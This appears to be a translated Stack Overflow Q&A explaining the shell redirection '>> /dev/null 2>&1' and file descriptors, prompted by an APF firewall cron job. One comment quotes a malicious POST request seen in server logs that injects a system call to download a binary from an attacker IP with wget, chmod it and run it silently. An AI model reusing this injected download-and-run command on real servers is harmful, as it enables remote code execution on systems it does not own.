什么是 /dev/null 2>&1?

Posted

技术标签:

【中文标题】什么是 /dev/null 2>&1?【英文标题】:What is /dev/null 2>&1? 【发布时间】:2012-05-17 12:58:27 【问题描述】:

我在 /etc/cron.daily/apf 中找到了这段代码

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

它正在刷新并重新加载防火墙。 我不明白>> /dev/null 2>&1 部分。

在 cron 中有这个的目的是什么?它覆盖了我的防火墙规则。 我可以安全地删除这个 cron 作业吗?

【问题讨论】:

仅供参考:一种更短的使进程静音的方法是>&- 2>&- @Josh:为什么要让事情变得比现在更神秘? @Josh 这会关闭相应的 FD,这可能会使程序中止。 2>&1 > /dev/null 是否与> /dev/null 2>&1 相同?这对我来说似乎更自然...... @edelans 否。这样会将 stderr 重定向到 stdout,但之后只会输出到 /dev/null 的原始 stdout-stderr。在gist.github.com/zigg/344361751c0110419b0f 试用该工具 【参考方案1】:

>> /dev/null 将标准输出 (stdout) 重定向到 /dev/null,后者将其丢弃。

(>> 似乎有点多余,因为>> 表示追加,而> 表示截断和写入,并且追加或写入/dev/null 具有相同的净效果。我通常只使用@987654329 @为此。)

2>&1 将标准错误 (2) 重定向到标准输出 (1),然后将其丢弃,因为标准输出已被重定向。

【讨论】:

& 符号在 2>&1 中表示什么。 & 表示文件描述符。通常有 3 个文件描述符 - 标准输入、输出和错误。 @Nobody 在下面查看我对您的问题的回答***.com/questions/10508843/what-is-dev-null-21/… 如果&表示文件描述符,那么为什么2之前没有&? 以防其他人没有阅读以下解释文件描述符的答案:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.【参考方案2】:

让我们将>> /dev/null 2>&1 语句分成几部分:


第 1 部分: >> 输出重定向

这用于重定向程序输出并将输出附加到文件末尾。 More...


第 2 部分: /dev/null 特殊文件

这是一个Pseudo-devices special file

命令ls -l /dev/null 将为您提供此文件的详细信息:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

你观察到crw了吗?这意味着它是一个提供串行访问的character-special-file 类型的伪设备文件。

/dev/null 接受并丢弃所有输入;不产生输出(总是在读取时返回文件结束指示)。参考:Wikipedia


第 3 部分: 2>&1(将流 2 的输出与流 1 合并)

每当你执行一个程序时,操作系统总是会打开三个文件,标准输入、标准输出和标准错误,正如我们所知,每当打开一个文件时,操作系统(来自kernel)都会返回一个称为文件描述符的非负整数。这些文件的文件描述符分别为 0、1 和 2。

所以2>&1 只是说将标准错误重定向到标准输出。

& 表示后面的内容是文件描述符,而不是文件名。

简而言之,通过使用此命令,您是在告诉您的程序在执行时不要大喊大叫。

使用2>&1有什么重要性?

如果您不想产生任何输出,即使终端中产生了一些错误。为了更清楚地解释,让我们考虑以下示例:

$ ls -l > /dev/null

对于上面的命令,终端没有打印输出,但是如果这个命令产生错误怎么办:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

尽管我将输出重定向到/dev/null,但它仍打印在终端中。这是因为我们没有将错误输出重定向到/dev/null,所以为了也重定向错误输出,需要添加2>&1

$ ls -l file_doesnot_exists > /dev/null 2>&1

【讨论】:

好例子!不知道“>”之前不会重定向“STDERR”。 解释得很好!非常翔实。谢谢。这将帮助我理解我最近遇到的网络攻击。攻击者通过包含上述代码的 POST 请求注入一些恶意代码。 @Vishrant 注入代码如下:POST /user/password?name[%23post_render][]=system&name[%23markup]=cd+/tmp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev /null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx 是攻击者的IP,在很多网站也被列为滥用。首先也是最重要的预防措施是阻止防火墙中的 IP 以及此类 IP 的模式。攻击是在主页加载时重定向到第 3 方网站。 Apache 服务器日志显示可疑 IP 和请求。 我只是想知道为什么我们在 2 之前也不使用 '&'。有人可以解决我的疑问吗? @SnehasishKarmakar 一个合理的问题。我相信操作系统足够聪明,可以理解第一个参数将是一个文件描述符,但 > 是一个重定向运算符,重定向运算符后面的任何内容都应该是一个文件位置,在 1 之前添加 & 表示它不是应用程序必须重定向输出但文件描述符的文件。如果有人可以添加此评论的更多详细信息,我将不胜感激。【参考方案3】:

这是安静地执行程序并隐藏其所有输出的方式。

/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。将流重定向到其中意味着隐藏程序的输出。

2>&1 部分表示“将错误流重定向到输出流”,因此当您重定向输出流时,错误流也会被重定向。即使您的程序现在写入stderr,该输出也会被丢弃。

【讨论】:

其实2>&1实际上是把stderr重定向到stdout。通过交换重定向的顺序可以最好地说明这与您声称的区别,例如2>&1 >/dev/null.【参考方案4】:

/dev/null 是一个标准文件,它会丢弃您写入的所有内容,但会报告写入操作成功。

1 是标准输出,2 是标准错误。

2>&1 将标准错误重定向到标准输出。 &1 表示文件描述符(标准输出),否则(如果您只使用1)您会将标准错误重定向到名为1 的文件。 [any command] >>/dev/null 2>&1 将所有标准错误重定向到标准输出,并将所有内容写入/dev/null

【讨论】:

【参考方案5】:

让我一点一点解释。

0,1,2

0: standard input
1: standard output
2: standard error

>>

command >> /dev/null 2>&1 中的>> 将命令输出附加到/dev/null

命令 >> /dev/null 2>&1

    命令后:
command
=> 1 output on the terminal screen
=> 2 output on the terminal screen
    重定向后:
command >> /dev/null
=> 1 output to /dev/null
=> 2 output on the terminal screen
    /dev/null 2>&1之后
command >> /dev/null 2>&1
=> 1 output to /dev/null
=> 2 output is redirected to 1 which is now to /dev/null

【讨论】:

【参考方案6】:

我使用>> /dev/null 2>&1 进行静默cronjob。 cronjob 可以完成这项工作,但不会向我的电子邮件发送报告。

据我所知,不要删除/dev/null。它很有用,尤其是当您运行 cPanel 时,它可以用于一次性的 cronjob 报告。

【讨论】:

【参考方案7】:

正如其他人所描述的,写入 /dev/null 会消除程序的输出。通常,cron 会为以 cronjob 启动的进程的每个输出发送一封电子邮件。因此,如果您在 cron 中指定了地址,则通过将输出写入 /dev/null 可以防止垃圾邮件。

【讨论】:

【参考方案8】:

编辑/etc/conf.apf。设置DEVEL_MODE="0"DEVEL_MODE 设置为 1 将添加一个 cron 作业以在 5 分钟后停止 apf。

【讨论】:

以上是关于什么是 /dev/null 2>&1?的主要内容,如果未能解决你的问题,请参考以下文章

>&/dev/null和>/dev/null 2>&1区别(>/dev/null 2>&1> /dev/null 2>&1)

>&/dev/null和>/dev/null 2>&1区别(>/dev/null 2>&1> /dev/null 2>&1)

>/dev/null 2>&1 这句话的含义及使用的意义

;/dev/null 2;&1 和 2;&1 ;/dev/null 的区别

;/dev/null 2;&1 和 2;&1 ;/dev/null 的区别

;/dev/null 2;&1含义说明